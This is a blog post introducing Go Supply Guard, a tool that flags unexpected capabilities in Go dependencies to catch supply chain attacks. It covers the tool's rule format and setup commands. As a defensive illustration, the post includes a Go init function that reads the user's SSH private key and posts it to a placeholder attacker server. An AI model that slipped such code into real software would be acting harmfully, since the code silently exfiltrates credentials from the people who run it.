If you maintain a Go project, here are a few questions for you:
- Do you know which packages you are importing?
- Do you know what packages the packages you are importing are importing?
- Do you trust the maintainers of all those packages?
- Can those maintainers prevent malicious entities from slipping exploitable code into their codebase?
- Did you ever do a full audit of all your dependencies?
- Do you repeat that audit whenever you upgrade your dependencies?
If you answered “no” to any of those questions, you might be vulnerable to a supply chain attack.
What are supply chain attacks?
A supply chain attack does not target your software directly. Instead, it goes for your dependencies. By injecting malicious code into a package you are importing, an attack can execute its own code alongside yours. For example, imagine a small innocent helper library that you are importing suddenly adds a small additional function:
func init() {
data, err := os.ReadFile(os.Getenv("HOME")+"/.ssh/id_rsa")
if err==nil {
http.Post("https://<SERVER_OF_ATTACKER>",
"text/plain",
bytes.NewBuffer(data))
}
}
Since init functions are executed as soon as the program runs, this code will immediately exfiltrate your private SSH key to the attacker.
There are no limits to the damage that this kind of attack can do:
- Wipe your filesystem
- Steal & exfiltrate secrets
- Abuse your resources (run DDOS attacks, bitcoin miner etc.)
- Encrypt & hold your data for ransom
- Spy on you and your customers
What Go already provides
Go already has a few things going for it when it comes to supply chain attacks:
- A culture of using as few dependencies as possible
- No code is executed during build-time
- Dependencies are hashed & can’t be tampered
In fact, the Go team wrote an excellent article about this 🔗.
However, the core issue remains: You have to either review all your dependencies for malicious code, or trust every library author in your supply chain.
Introducing: Go Supply Guard

Go Supply Guard is a tool designed to help you protect your supply chain. It is based on a simple assumption:
Packages provide a fixed functionality. To provide it, they use a fixed number of capabilities from other libraries. If a package uses a previously unused capability, it is cause for concern.
For example, one of the built-in rules states:
{
"package": "net/http",
"type": false,
"func": ["Get", "Head", "Post", "PostForm"],
"has": ["http.client"]
}
This rule states that every invocation of Get, Head, Post or PostForm
from the net/http package will result in the calling package getting the
http.client capability.
With this rule in place, if a library in your supply chain gets compromised and adds the init function from before, the supply guard would report:
The following packages have unexpected capabilities:
example.com/innocent-library
└── http.client
└── net/http.Post <PATH>/init.go:263:12
You can then investigate whether the newly added code is legitimate or an exploit.
Setting up
If you want to integrate the supply guard into your own Go project, the easiest
way is to use the new go tool functionality:
go get -tool github.com/Kernalytics/go-supply-guard
To make the initial setup easier, we provide a set of built-in rules that you can use. To find out which ones are applicable, you run
go tool go-supply-guard suggest
In most cases, you want to use at least the stdlib rules, since they provide
the basic capabilities from the Go standard library.
Once you have chosen a set of built-in rules, you can check the current capabilities of your supply chain:
go tool go-supply-guard -built-in stdlib check
(If you prefer to see which package is imported by which one, you can use
show instead of check).
If you checked all capabilities and believe that they are okay, you can generate a rule file for your library:
go tool go-supply-guard -built-in stdlib init > supply-guard.json
This will create a rule file that marks all current capabilities of your packages as expected. Whenever you upgrade your dependencies, you can then run
go tool go-supply-guard -built-in stdlib -rules supply-guard.json check
Which will then only report if a new capability has been introduced. Since the command exits with an error code if a new capability is detected, you can also run it as part of your CI/CD toolchain.
Get involved
If you are interested in using our tool, we are exitec to hear from you! Check out our repository at
https://github.com/Kernalytics/go-supply-guard 🔗
where you can report issues, suggest changes, etc.
If you tried our tool and have feedback, positive or negative, do not hesitate to reach out.